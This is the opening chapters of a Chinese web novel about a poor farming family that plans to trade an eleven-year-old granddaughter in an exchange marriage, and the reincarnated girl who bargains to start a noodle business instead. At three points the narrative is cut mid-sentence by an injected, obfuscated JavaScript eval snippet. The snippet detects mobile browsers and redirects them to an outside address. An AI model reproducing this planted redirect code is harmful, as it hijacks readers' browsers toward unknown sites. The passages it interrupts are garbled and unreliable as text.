《市井养老日常》 1. 换亲 将至酉时，日沉，风起。 大王村上空浅淡的炊烟随风而动，白米热菜的香味自各家未能闭紧的门户往外弥散，端的是秋收之后粮仓储满的喜气。 而村尾，平日叫人艳羡的青砖大瓦房内，人丁兴旺的老汪家却面对桌上稀汤寡水的晚食沉默无言，说不出嘴里心头是个什么滋味。 举家四十亩田地，地税三十取一，眼下粮仓储满，却得置出十之三四去还往年的饥荒…… 汪木匠是地里头的老把式了，默了一默便把家底算了清。 还完饥荒，仓里约摸只剩得下三千九百多斤稻、三千六百多斤麦。 若按往年的习惯全脱了壳，顶顶好的情况下也只能得米、面各二千七百斤，整家上下拢共十九张嘴，再算上长孙媳肚子里头那个，这些粮食只怕将够糊个嘴…… 且小老三也到了说亲的年纪。 老三媳妇儿秋收前便张罗着找红人上门，家里偏是分文也拿不出来，又如何舍得下脸皮去求别家闺女？ 非是不能去找别的营生……偏这一家子都不是那健硕的体格，去城头卖苦力也没人要，往来要攒银钱只得靠地产出，可粮食不够吃，强换了银钱与小老三说亲，来年怕不是一家子都得再饿脱一层皮。 难道真要听老婆子的意思，与那家商量下换亲么？ 汪木匠心头藏着憋屈不能言，几口喝掉稍稠些的稀饭，点了大儿汪点柱随他进屋里悄言。 汪点柱年逾四十，经年在地头劳作，瞅着也不比汪木匠年轻多少，唯唯诺诺的跟进屋子，该得汪木匠开口叫他坐下他才敢拖了长凳挨着亲爹。 “爹，可是地里头有啥没拾掇干净的？” “……”汪木匠对长子早没了期许，默然看了他两息，便开口与他提起了孙子的婚事，“……小老三今秋过后也有十八了，你是他大爷，将来全得倚仗他与小老二给你摔盆。你该知道如今公中是拿不出银钱来给他操办的……” 为何拿不出银钱？ 自是因为六年前大儿媳妇生玥娘时难产血崩，公中所有银钱贴了救命药钱不够，还从外头打了饥荒，今年才将够还清。 病败家业。 汪点柱心知肚明，登时埋着头不敢应声。 汪木匠重重地叹了口气。 他年轻时常帮着十里八乡的村人打些小东西换银钱，家里头田地、房子皆由此来，只可惜后来不甚伤了手，再做不得精细活儿，这才丢了这份工。 偏老汪家四房儿子愣没一个学着木匠手艺的，时至今日，一家子除了地头讨食，再是找不着别的什么营生了。 四个儿子皆如此，汪木匠也不好单骂哪一个没出息，眼见汪点柱如此，闷声咳了咳痰，才咬牙说了狠，“你娘的意思，老三媳妇儿看中的那家儿闺女，头上还有个没说亲的哥哥，你若是愿意，便让瑛娘先与他家定下，待过几年成了人，直接抬过门去，也全了两家之好。” 汪点柱却是没当下明了亲爹的意思。 说亲，得先过采。 侄儿说的亲就是大王村的闺女，按照平常规矩，过采时就得备上四贯钱、两匹布、一对鹅、一笼点心。 时下过采的布得一棉一绢，买来需得六百四十文钱。 那鹅家中未养，也需得花费一百六十文钱去置换。 加之一笼点心，便是最最便宜的也值当八十文钱。 更别提迎亲那日需得办席…… 拢共合算，这亲结下来前后少说得花去五六贯。 来年便是大房几口人不吃不喝，也掏不出这银钱与侄儿结亲啊！ 汪点柱盘算得心口发苦，思来想去，却只有瑾娘那头置完嫁妆能剩个两贯出头，偏那两贯早说定了要与瑾娘压箱底，他一个做爹的又如何好食言而肥？ “爹……我实在拿不出那钱来与侄儿结亲……” 偏是那句一个字没听进去！ “……”汪木匠心知大儿不是那等装聋作哑的脾性，但实在没那脸劝儿子将孙女拿去与人换亲，口吐浊气，便挥了挥手将大儿赶出屋去，“叫你娘进来，我与她商量几句。” “哦……” 叫走沉着脸的徐氏，桌上各房媳妇才心思各异的观察起汪点柱和他媳妇云氏的脸色。 汪点柱正发愁上哪儿给侄儿凑银钱，喝着稀饭的云氏却一脸从容，偏是任谁也瞧不出她在想什么。 三房陈氏瞧了云氏一眼，见她依旧不甚在意，忍不住在心头默骂了一句，才扭头去看二房林氏。 林氏早知这陈氏是个沉不住气的，神色不动的摇了一下头，几口呼噜完稀饭，抱着已是瞌睡上头的幺儿回了屋去。 陈氏这才暂压心头愤懑，冲旁边还小口喝着稀饭的四房何氏指桑骂槐，道：“瞧你这样儿！左不过几口汤水，值当你喝肉汤似的细细品味吗？今儿可轮着你收拾灶台了，也不是农忙时了，别指望我们帮你！” 何氏：“……” 吃过饭，各房回屋。 大房的寻常不会被单叫去谈话，一家子回了屋，云氏自然要找机会套一下公婆究竟对大房有甚别的安排。 偏汪点柱是个榆木脑袋，躺在床上翻来覆去的为侄儿结亲所需发愁，云氏推了他一把，只听他直叹气，便忍不住开口问他汪木匠究竟与他说了什么。 汪点柱与云氏成婚二十余年，两口子早已磨合非常，汪点柱自知容易会错意，便将汪木匠的话从头与云氏说了，说罢，还道：“我实在不愿动瑾娘的压箱钱。” 大房这些年只得了四个女儿。 大女儿琼娘嫁得早，又因当时汪木匠常与乡里做木工，说得亲家还算不错，只是各家有本经，老汪家的婚嫁可不好与琼娘再说。 二女儿瑾娘说的却是云氏娘家隔房的表亲，那家为亲宽厚，那小子又喜瑾娘，过采已是齐全，又另送了一支银簪与瑾娘压箱，眼看来年春就要瑾娘抬上门，若眼下动了瑾娘的压箱钱，到时怕是会闹得两家面上不好看。 对女儿的亲事，云氏自是比汪点柱更清楚。 粗略一听，她便怒火中烧，偏她这屋里当家的是根木头，只顾着忧虑侄儿说亲，硬是忽略了公婆那套“换亲”的说法儿。 当谁不知道老三家的看中的是谁家闺女？！ 那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829072|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家子也就那闺女能支出面儿，顶头的哥哥纯是个混不吝的二流子，更别提那二流子翻过年就十七了，等瑛娘及笈他得二十往上，怎愿意与他做亲！ 底下三房皆是心怀鬼胎的，非得将她闺女扒拉着赔上一生才肯罢休！ 云氏自觉也就吃了没生出儿子的亏，恨恨的擂了汪点柱几拳，才翻身看着乌漆漆的窗户垂泪。 “你打我作甚……” “……” 今夜，老汪家注定不能通家安眠。 直至窗台微光时，云氏才抹了一把脸，在汪点柱的鼾声中恨恨咬牙，“我绝不会让瑛娘与辰子去换亲。” 云氏骂过便起身出了门子，偏间儿里睡着的瘦小如九、十来岁的女童却是听得些微动静骤然清醒。 七世轮转，归来已是满目苍。 偏生“换亲”一词直接唤醒了沉睡几百年的记忆，让瑛娘恨得牙痒痒。 多巧啊！ 在进入万千世界轮转前，她亦不过一个将满十一的小娘子，偏生一家子老少都没出息，便是子孙嫁娶也得扒拉着弱小的娘子敲骨吸髓。 再观这“故里”的“汪瑛”，同样为家中兄长婚姻大事的牺牲品，唯一胜一筹的，却是生育“她”的娘亲不似她亲娘那般怯懦，便是“她”亲爹都被说服，“她”的娘亲也死活咬住不肯松口。 只可惜娘亲怒火攻心之下，病体支离，只为“她”争来了半年的喘息。 自然，以瑛娘的能力而言，这半年时间足够她将这一家子掀翻，但七世以来，她日日为“人设”与“任务”操劳，眼下便是满心愤懑，也生不出支棱起来对抗举家之压的心力了。 无他，实在没那心情。 况且掀翻这一家子又如何？时代的悲哀处处可见，便是她打破了这一代的王权奴性，没得后续的接力者，也早晚死灰复燃，任她留下浊名传世。 得过且过，索性这一世随心而活。 平复下胸中跌宕，瑛娘在身旁四姐瑾娘的呼吸声中惬然阖上了眼。 一觉再醒，耳畔萦绕却是三房陈氏在院中赶鸡时的指桑骂槐。 瑛娘只当听不懂，翻了个身继续睡，又听窗外院子里已决意不肯舍弃闺女的云氏一改往日平静，字字不带脏的骂了回去，气得陈氏“滋儿哇”一通乱叫。 瑛娘没忍住一笑，翻身坐起，几步走到窗边，边梳髻边听热闹。 可惜这热闹持续不过一刻，背了粮去还饥荒的徐氏回来便抄起笤帚往陈氏身上敲，陈氏当即止住叫唤，咬着牙忿然离场。 她能躲走，灶头忙活的云氏却还得将朝食端上桌。 徐氏拎着笤帚要打，云氏心头不爽，自然不会任她施为，端了瓮眼也不抬，缓步迎上，只柔声道：“娘，那笤帚刚沾了秽，可别扬进瓮里毁了这锅饭。” “……” 徐氏气得一哆嗦，挥起笤帚便打在了临近灶房的大房偏间窗台，“日日顶着日头睡！也不知道帮家中分担！” 鸡粪的臭味透过窗纸往里散，瑛娘却是躲之不及，抬袖掩住口鼻也没能避开味道，登时敛去了笑，理好衣衫沉着出了房。 2. 过继 早间，饭桌前却是少了人，家里男丁都进了城，整家儿只剩徐氏、四个儿媳、一个孙媳妇、三个孙女和将将四岁的小老九围坐。 徐氏心气不顺，也见不得这些个人自在，时不时出口粗气，冲得桌旁众人只有不知事的小老九才敢乐呵呵的吃着桌上唯一的鸡蛋。 此状不少见，今日却出了奇，多了个同样“不知事”的瑛娘。 她顶着徐氏的目光从瓮里舀了半碗偏稠的稀饭落了座，也不等徐氏先动筷，便自顾自取了一夹小菜就饭。 老汪家虽非富贵之家，每日规矩却以孝字当头，老不言少不动，瑛娘此番举动无疑是太岁头上动土，全家老小为之一惊，一时半晌竟都忘了反应。 便是云氏也没想过三女儿会突然此举，只是她眼下满心不爽，万分心疼女儿被这一窝子无良长辈“惦记”，见徐氏盛怒，当即反应过来，放了勺偏左一动，先徐氏一步动作，替瑛娘分担下战力。 也是徐氏手头暂无趁手的工具，只以分菜的筷子在云氏右手臂上留下了两条斜痕。 便是如此，云氏依然痛得一缩，心头恨意更甚，侧身抚住瑛娘梳得一团糟的发髻，将她按进自己怀中垂下了泪，看也不看徐氏，哭道：“娘若实在容不下我，便让大柱放我归家去。” 徐氏脑子一懵，手持筷子，指着云氏哆嗦得仿佛下一秒就要癫了，“你！你是要翻了天去！” 谁家敢放生了四个孩子的媳妇儿归家？！ 便是那四个孩子都是她瞧不上的女娃，徐氏也不敢顶着被满村唾弃的风险明里收拾她这一房！ 这云氏偏是在戳她的心窝子啊！ 婆母发怒，四房何氏连忙上前搀扶，而二房林氏瞪了一眼看热闹不嫌大的三房陈氏，直接搂着已然被吓懵的小老九回了屋去。 陈氏讨不了好，偏又怕婆母不知借机收拾这大房长媳，硬是闭上了嘴缩着脖子稳坐桌前不动，何氏见她不动，眼神复杂的扫过大房四人，将徐氏扶来坐好，也低眉顺眼的退了出去。 “陈氏出去！瑾娘把玥娘抱走！关了门谁也别让进！” 今儿个若不泄了这口气，这家她怕是再当不下去！ 倒是瑛娘稳如老狗，还反过来拍了拍云氏的背，“娘，与奶计较个什么劲儿？我不过是饿慌了神，这才没忍住馋。奶也不过是舍不得粮食。左不过我将来嫁了人，生死都算别家的，也进不了老汪家的祖坟，便由她打骂又能打骂多久去？” 瑛娘语含讽意，云氏却只觉这话直戳心肺，无声的泪瞬时变成隐忍的泣。 “瑛娘！瑛娘！” 徐氏倒是将瑛娘所言反复嚼磨了几轮，虽觉有几分不对，却没多细想，全然没记起这家里头还没人与小辈提起过“换亲”一事，只当这孙女也是认了命，扭头便骂起了云氏。 “云氏，我看你还不如瑛娘懂事！你可知这家里头亏空都是因为你那身子不争气！瑛娘是你生的，眼下该是她来报你生恩与家中养恩的时候！” “娘！瑛娘将将十一！还未成人！你们怎能狠下心将她送去换亲！” “换亲！换亲！没得说眼下就要把她抬过去！那家儿也说了愿等瑛娘成人，只先过个定！你自个儿不争气！生不得儿郎！害我大儿将来无人摔盆！可不得靠他侄儿们使力？偏不知道你在鬼哭个什么劲！” 云氏心知自身忧虑这老太婆怕是听不进耳，咬牙抹了泪，恨恨怒视徐氏，道：“那娘便代大柱放我归家！左右我生不出儿郎，又顶撞婆母不服管教，犯了七出，便是今日便赶我走，也没人敢说你一句不好！” “你！” 徐氏深知自家再没那条件为大儿另娶，云氏这二十几年在十里八乡的口碑也顶顶好，如何敢如她所想代儿放归？ 云氏这是捏准了她不敢，故意与她作对！ 徐氏气得直以筷子敲桌边，吵得瑛娘难耐蹙眉，偏云氏今次非但不肯先低头，还梗着脖子似在等徐氏真怒极了替儿子做主休妻。 眼看徐氏和云氏得先晕一个过去，瑛娘也不再忍着难受不作为，安抚地拍了下云氏的手，使了力从她怀中挣脱，又离了长凳起身，才抬手摸了摸耳廓，转瞬，一颗流光溢彩的琉璃珠便落入了她的指间。 这琉璃珠不过赤楠果大小，但重在琳琅奇色，徐氏盛怒之下也没忽略过去，一时瞠目，丢下筷子便扑向瑛娘，一把将琉璃珠抓了来，问：“这珠子你从哪儿得来的？！” 瑛娘由着她夺去，只顾左言他，反问道：“奶，你只听得三婶说能与别家换亲，就要亲身替三哥做主将我换过去。可奶是否想过，便是这回真换成了，将来五哥、六哥又该如何换去？难不成也指着八妹长成了去换？却不知八妹人才有那般出众，一个便能换回别家两个闺女么？就算有那愿意吃亏的人家，小九又该如何？让我娘、亦或是哪位婶娘再生个妹妹养成了再换？小九能等？” 徐氏满心沉入琉璃珠的光彩之中，盘算着这珠子拿去城里头能换得多少银钱，一时倒没注意瑛娘所言全是不敬之词，只问：“你可知这珠子值当多少银钱？” 若是有钱，谁又愿意拿自家闺女去换别家的来！ 云氏倒是将瑛娘所言听了个全，霎时泪如泉涌，搂着瑛娘直哭得睁不开眼，却是顾不得那珠子被婆母当作了私物。 瑛娘倒没想以此来糊弄，淡然道：“体量如此，最多不过四五百文钱吧。” 四五百文又能顶个什么用！ 徐氏心头的盘算顿时落了空，脸色又难看了许多，想扔回珠子，却又舍不得这价值，硬生生的将珠子捏着将手心硌了个窝。 “四五百文可不够你三哥过采。” “那奶将珠子还来吧，四五百文也够我与爹娘姐妹吃几顿好肉了。” “……” 到手的银钱徐氏决计不会再往外拿。 只这琉璃珠价值实在算不得高，所以跟前儿商量的换亲一事还得接着往下聊。 徐氏也算看出这母女二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829073|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都不愿意帮着小老三成事儿了，揣了珠子，又顾忌瑛娘拿出的珠子只是其一，才沉着气坐下，边思边道：“都是家里头的亲闺女，奶自然不愿看你们来日不顺，但你娘生不出儿郎，你爹将来连个摔盆的后都没得。依着我看，今次你帮了你三哥成事儿，将来你三哥也能顶了大房的孝敬，为你爹娘送终，也算替你姐妹几个全了孝不是？” 瑛娘听多了鬼话，可不惯着，当即直言道：“那依奶的意思，三叔三婶这是愿意将三哥过继到我爹娘膝下？” “……” 徐氏气极直喘，好悬没大口破骂。 瑛娘却也不想将徐氏气死，拉着云氏一起坐下，又连番问道：“奶可想过那换来的亲事能有多好？将来相换的孙女婿找上门来讨这讨那，奶是给或不给？再者，家中叔叔、兄弟不争气，难道我与姐妹便也都是那没出息的？” “……” 徐氏自是不觉得家中孙女能有多大出息，可冷静下来，脑子也清醒了许多，嚼磨着这“孙女婿”即亲孙的大舅子，若其人真如瑛娘所言上门讨要，她做奶的不给，难道亲孙能狠下心断了媳妇儿的娘舅关系？ 也是老汪家四个亲家都非那多事之辈，倒叫她忽略了孙子结的亲也是万不可大意的。 徐氏缓过了劲，再看瑛娘却不似往常那般视作无物，“那依你所言，你三哥的亲事又该如何？” “奶不如与阿爷商量商量，从来年的粮食里分出二十斤麦与我，至多十日，我便能交回公中一贯。” 二十斤麦卖与粮铺只值当六十个钱，便是出了粉送去，也只能卖得七十五文，如此，便是徐氏自个儿也是能做得这主的。 但徐氏如何盘算也想不透这二十斤麦如何能变出一贯钱来，满腹狐疑的盯了瑛娘许久，终是舍不下这份虚无的进账，干巴道：“你是想去城头谋个营生？你一个小娘子，谁会与你做生意？” 便是能做，区区二十斤麦又能做成什么？ 瑛娘不愿与徐氏多言，静静望其双目，心想：仅仅支个摊子卖面又怎能算是生意？ 二十斤麦出粉不过十五来斤，搓揉成面最多也能挑出一百八十来份，只是“汪瑛”从未进过城，瑛娘自然也无从了解那城头的营生都是个什么行情，此番若能说服徐氏，倒是可以借机去瞧瞧，也好找准时机，早日攒出能让她余生安逸的底气。 徐氏看不穿瑛娘，心头倒是第一次对这个孙女改观，再一想，又怀疑起眼前这孙女或是被那脏东西惊了神儿。 不过旋即徐氏又否了这想法。 瑛娘从未离过村，近来村里也没得白事惊扰，总不能是夜游神上门，专点了瑛娘一人来折腾？ 可若瑛娘只是被换亲之事逼着改了性儿，她拿来的那珠子又是谁人给她的呢？是云氏？还是…… 不不，大王村可没那富户乡绅，来个生人都躲不过人眼，便是大房一屋子女人有心隐瞒，又如何去藏？ 徐氏想不通，索性不再去想。 3. 杀鸡 冷静下来，徐氏也理清了脉络。 老大媳妇儿今个儿闹成这般，真要换亲也不是一两日就能谈妥的，她不想把大好的喜事儿闹成丧，便给瑛娘二十斤麦去折腾几日又能如何？左不过再败些粮食，可若真是成了，也好过她来两头受气。 “行。奶也不是那等惯会磋磨媳妇儿和孙女的老虔婆，便给你二十斤麦，由你折腾。” “那奶容我再求几样东西。一只鸡，一些盐，担子、箩筐、瓦罐、炉子、碗筷都得齐全。盐不用许多，几日消耗约摸也只值当一文钱，那鸡可按市价与家中赊欠，不论盈亏，这钱都会补上。再不济，那珠子也可抵消这些东西。” “……” 瑛娘最后一句话算是堵死了徐氏的拒绝。 不过徐氏即打定了主意，也不至于当下便反悔，只冷眼瞪了云氏，便让瑛娘随她去粮仓取麦。 云氏哭得头脑昏聩，听及瑛娘与婆母来回磋谈，脑子却没能接受到言语中的重点，只不舍瑛娘独自面对婆母的教训，伸手便拉住了瑛娘的袖子。 “瑛娘……瑛娘……” 瑛娘本欲直接跟上徐氏，心头一软，却是回身执起云氏的手，拍了两下她的手背，面含笑意摇了摇头，道：“娘，您先喝些稀饭垫垫肚子，回头我再与您细说。” 云氏又落下一串热泪，终是没再拦她去。 老汪家的青砖大瓦房还带着前院和后院。 前院自是养鸡、种菜的地界，后院却盘了口径三米、深四米的缸形地窖做家用粮仓。 这粮仓外置铁锁，钥匙仅有一把，平日都捏在徐氏手头，只灶间粮缸空了才会开仓取粮，眼下灶间的粮缸正放了全家老小能吃一月的量，徐氏懒得日后再填补，索性开了仓，开了备来以防来日缺口的备用粮袋，舀出二十来斤装袋，塞给瑛娘抱了个满怀。 “这回奶做主，这二十斤麦便给了你，若五日后你败光了粮却交不起公中欠银，也别指望奶再帮你。” 徐氏平日也没恁狠心，因着此时说话便没将情说绝，只要瑛娘能用这些麦子挣回些钱来，便是不足一贯，她也乐得让老三媳妇儿断了换亲的念头。 “放心吧奶，指定不亏。” 徐氏见瑛娘脚步雀跃，抬手摸了摸胸口硌手的珠子，又问：“瑛娘，那珠子你究竟如何得来的？可还有其他？” 瑛娘步子轻快，略过徐氏半身，无声一哂，嘴上却道：“奶却不知，孙女梦行天宫，这珠子呀，便是孙女在那天宫的地头捡来的。可惜当时孙女只觉那是个梦，也未当真，就捡得那一颗，今后怕也没那机会再得了。” “……” 徐氏能信？ 闻言一哼，却是不想再听瑛娘胡道。 “拿了去！” 瑛娘抱着粮袋回了大房，刚进门，便被一脸焦急的四姐瑾娘拽进了偏间。 “到底怎么了？娘一直在哭，奶又拉了你过去……” 云氏也在偏间。 眼下，云氏却是控制了情绪，来回嚼磨了瑛娘与徐氏的对答，越发觉得瑛娘今日不对劲，待得瑛娘回屋，催使瑾娘扣好了门，才拉着瑾娘开始盘问。 云氏却也没想过自家闺女已是换作他人“魂”，只听瑛娘“天宫”一说，倒是信了七分。 但她亦清楚自家闺女的脾性，只当她是趁着这档口从婆母那儿骗些粮来甜口，眼眶一热，便不忍再看她抱回来的粮袋。 瑛娘有些无奈，放下粮袋，由着云氏搂着她心疼。 “娘怎的又哭了？家里头也不是没吃过麦面搓成的面条，娘能说那面条不好吃吗？再者，但凡沾了荤腥，便是牛筋草煮汤也是好喝的。至于这灶头的活儿，大姐、四姐都是做惯的，我也就占了人小的便宜才未被赶着上灶，所以这回去城头卖面，我也是指着四姐同去帮忙的。” 瑾娘正听得脑子发懵，没想到还有自己的事儿，一时错愕不已，瞪眼看她。 云氏抬手捻了捻瑛娘干瘦发黄的面皮，心口皆苦，问道：“那你可知，若这营生讨不回来一贯钱，你该面对何等绝境？” “娘，眼下何须担忧这些？你且先听我算上一笔账。就说，这二十斤麦出了粉能搓多少斤面条？” “……若我来做，少说也能搓成二十斤。” “那娘再想，这二十斤面条我分开来卖，便是分出两百份，一份只卖五文，也能收回来一贯钱，是也不是？” 云氏并非万事不懂的妇人，这账并不难算，只她算得稍慢些，却也算得这账如瑛娘所言。 “可两百份……如此数量，十日能卖完吗？” 这便是城乡差距了。 若瑛娘还是曾经的瑛娘，亦或是原来的“汪瑛”，她也只会觉得没的闲人来花贵价买别家的面条吃。 可当真如是吗？ 就说城头哪样不花钱？ 便是那打不起井的人家每日也得花钱买水用，更妄论粮食、菜蔬，如此对比，那手头盈余的人便是花几文钱来吃一碗面也不值当什么。 依她所见，两百份卖够五日都够呛，只她不欲多解释，淡淡略过，笑道：“即便素面没得人买，那熬好的鸡汤、炒过的鸡肉呢？娘便信我这回吧，左右不过费些力气，亏也亏不出去。” “……” “娘就先帮我将这麦拿去磨了粉吧？那磨盘我实在弄不动。” 云氏拧不过瑛娘，只得抹了泪，抱了粮袋出了门去。 “好了，四姐也随我来吧！” 瑾娘日日与“汪瑛”同住，从未见过妹妹如此伶俐口舌，惶惶然随着瑛娘出了偏间，直奔着那已是月余没得蛋下的老母鸡去。 临了，瑛娘却是在围栏外头打起了转。 瑾娘本不知她与徐氏所谈，思及先头提及的“鸡汤、鸡肉”，这才意识到瑛娘是打上了这鸡的主意，当即退了两步，惶惶道：“瑛娘，可不敢动这鸡！” 家中的鸡得养到年节时拜灶神才会宰杀，杀过也得紧着阿爷、爹、叔叔和几个兄弟的嘴，她们四姐妹从小到大便是那鸡骨头也难见一块，顶多爷奶发了善心，才会给她们一人分一碗浓稠的鸡汤甜嘴。 今日当头瑛娘就跟奶争了起来，连孝悌都不顾及，这会儿盯上鸡…… 瑾娘抬手拽住瑛娘双肩便往后扯，瑛娘不从，拉扯之下姊妹俩都摔倒在地。 刚一倒下，瑛娘便觉不对——眼下她不过稍稍磕碰了一下，眼前便俱是天星，脑子也跟着发昏，全然是体质娇虚、气血不足之症。 瑛娘忍不住就要抬手搓摸耳廓取糖，视线触及瑾娘仓皇无措的目光，骤然收手，只借着她的力撑起身体，勉力一笑，算是宽慰。 “瑛娘……” “四姐别怕，我这就是亏了嘴，待杀了这鸡，喝上两碗汤就能好。” “……” 瑾娘嗫嚅，却说不得反驳的话。 这家里头哪个姑娘没亏着嘴？ 大姐也就外嫁之后才康健了许多，便是她自个儿，也是云家表哥贴补小食才将她养出了些许气色。 至于瑛娘和玥娘…… 玥娘自胎中便养得不好，生下来后亏得爹娘舍了自己的口粮才让玥娘立住，可瑛娘却没得人帮补，整家儿真论起谁身体最差，便是她无疑了。 “可这……鸡……奶怕是不能允我们杀，你若想吃荤腥……回头我得了糖块，与四哥五哥商量，叫他们去山头帮你摸些鸟蛋回来换……” 糖块自是得等下回与云家表哥相见才能得。 瑛娘听过，沉默了两息，后知后觉瑾娘并不清楚她与徐氏的“交易”，心软之余不禁一笑，晃了两下瑾娘的胳膊，撒娇道：“四姐安心吧！这鸡自是奶亲口允了杀的，你便帮我一帮，稍晚些炖出了汤，我一定挑块肉让你先尝。” “啊……这汤是炖来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829074|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑面条的？” 瑾娘眨了两下眼，再看鸡，却也忍不住吞咽了一下。 “瑛娘，这鸡既是奶允你杀来做营生的，姐……姐怎好吃那肉？大不了回头挑完面，剩下多的汤水再给姐尝尝就成。” 瑛娘不与她多说，只笑了笑便推着瑾娘去抓鸡。 家养的母鸡霸道，瑾娘进了圈便惊得一窝子鸡飞跳，陈氏听得动静便耐不住，推门出来见瑾娘正抓着鸡翅羽出圈，当即横眉竖眼就要上手夺鸡。 瑾娘哪儿敢让陈氏上手，堪堪避过身去，出了圈便直往灶间跑。 瑛娘此刻也缓过了劲儿，错身挡了挡，直气得陈氏一跺脚，威胁道：“敢逮鸡来杀！可等着你奶收拾你俩！” 瑛娘不欲理她，听得灶间动静，知那鸡已是回天乏术，瞥了陈氏一眼，扭头便回了偏间儿去。 眼下玥娘跟了云氏去磨麦打粉，大房无人，瑛娘才得空清查起自己的存货。 关了门窗，斜靠床榻，再搓磨耳廓，一个等比缩小数百倍至一方大小的仓库便展现于瑛娘身前两寸处。 这仓库是她轮转第一世完成“任务”后所得奖励，可存万物，平常只凭意念便可存取东西，若有需要，亦可多费些心力如眼下这般令其完整铺展开来，可谓方便至极，为她之后六世轮转提供了不少便利。 眼下这仓库之中，排排货架上虽依旧存放了不少物资，却多是她曾废了诸多心力自制的笔墨纸砚、皂、盐、糖、油，以及胭脂、口红、眉黛、颜料等玩意儿，至于其他收存过、与时代相悖的东西已然尽数被摒去，偏是这些留存下来的东西于她当下而言也都是不能轻易示众的。 除此之外，倒还有些意外之喜。 譬如先头被徐氏抢去的琉璃珠，再譬如货架上仅剩十方的自制冰块，这两样能留存下来，便说明当今这世上已然有人掌握了制冰、烧制玻璃的方子。 如此，便只待寻得时机买来材料，于人前制出成品，自能得机会将这些库存换着法儿取出，再混入成品置换成新的东西存入仓库。 可惜，要想安然过余生，少说也得花个三五年来积攒才行。 瑛娘取了糖块含在嘴里，识得久违的甜腻，才幽幽一叹，阖目摒去仓库蜃影，待糖块化尽，才起身出了偏间儿。 灶间，瑾娘已烧得一锅滚水。 杀鸡得先放血，取血之时碗底放盐，热血搅混即可得些血豆腐。 这血豆腐以酸菜简单炖煮便能十分美味，瑾娘吞咽着口水将装鸡血的碗放置灶台，将瘪了许多的鸡囫囵塞到木桶里，倒入滚水浸泡，只待水温稍降，便上手拔了鸡身大毛，余下的绒毛熙攘，再烧柴烘烤，用钳子压皮生拔。 瑛娘站在灶门前看瑾娘将鸡毛处理干净，抢先一步搂了地上绒毛、污水混作堆的腌臜，惊得瑾娘急忙丢下鸡肉上来拦她，“瑛娘，这东西且放着等我杀好了鸡再来拾掇。” “这些鸡绒我有用，四姐只管将鸡剖开洗净，稍后我再与你说要如何炖煮。” “这……” “取出的鸡内腑四姐也别急着扔，稍后有用。” “……” 瑛娘冲无言的瑾娘的一笑，搂了绒毛，到前院打了井水将之洗净，再堆到檐廊下铺开用木板压存以备风干，这才回了灶间，叫瑾娘将备好的鸡整个放入瓮中加老姜炖煮。 瑾娘依旧迟疑，道：“可是这鸡若是不砍开了炖，需得炖煮多久才能煮透啊……” “四姐只管如此炖着吧。” 不下蛋的母鸡自是越炖越香。 大瓮炖煮能留香。 大火熬上两刻，撇尽浮沫，再转小火焖煮一个时辰，等油水彻底炖出，撤了大木，只留碳火余温，待□□燃尽，瓮壁渐冷，这鸡才算炖出了滋味。 这一通炖煮，足足去了十二三刻，开瓮便是满院逸香，被拘在房里的小老九也忍不住哭嚎：“好香！” 4. 鸡骨 云氏磨完麦回来恰是午时。 朝食本就没吃得几分饱的玥娘和嘴馋的小老九已然被鸡汤馋得口水直淌，嬉笑着院中疯跑，云氏又经不得瑛娘来磨，咬着牙取了些麦粉来揉面，硬是顶着妯娌不可置信的目光揉出了足足半斤重的面团。 偏瑛娘还不知足，见瓮里鸡汤浓稠，又指使瑾娘去舀一砵来作午食汤底，“索性这汤煮得多，四姐就舀些来混了清水炖一炖，让娘片儿了面团煮个鸡汤面片吃吧！” 瑾娘听多了支使，便是瑛娘说如何便作如何。 云氏经历这半日，心中跌宕，眼下只觉得痛快，却也深知为人媳不好做得过分，当即睨了瑛娘一眼，夺过汤砵便将鸡汤倒回了瓮中，“你们阿爷尚未归家，爹和叔叔、兄弟也都在外头忙着讨营生挣钱，我们娘儿几个怎好在家抛洒？再者，这汤掺多了水便会消去滋味，如此还做得什么营生？谁都不许动。” 教训过，云氏便放了瑛娘和瑾娘出去。 只这半斤面团再好，也是不够家中十张嘴吃的，云氏又舀了些米来煮了些稀饭，捞了酸菜切碎装盘，这才片儿了面团煮了一锅寡淡的面片。 待面、饭上桌，徐氏自是对云氏更多了两分不满，但她今日也被闹够了，不想再掀摊子惹得一家子仓皇，举筷先取了一夹酸菜入口，便由着孙子孙女囫囵吃起了面片。 “老大家的，麦粉可都磨上了？若全用上，能出多少斤面？” 今秋的新麦好出粉，二十斤麦一通磨，便是云氏也没想过能多出八两粉来。 听得徐氏发问，心绪已然平和的云氏便也如实答了：“除开这顿所用，还能再出二十斤。” 二十斤面条，分成两百份卖，便是只卖两三文一份，这麦都亏不着。 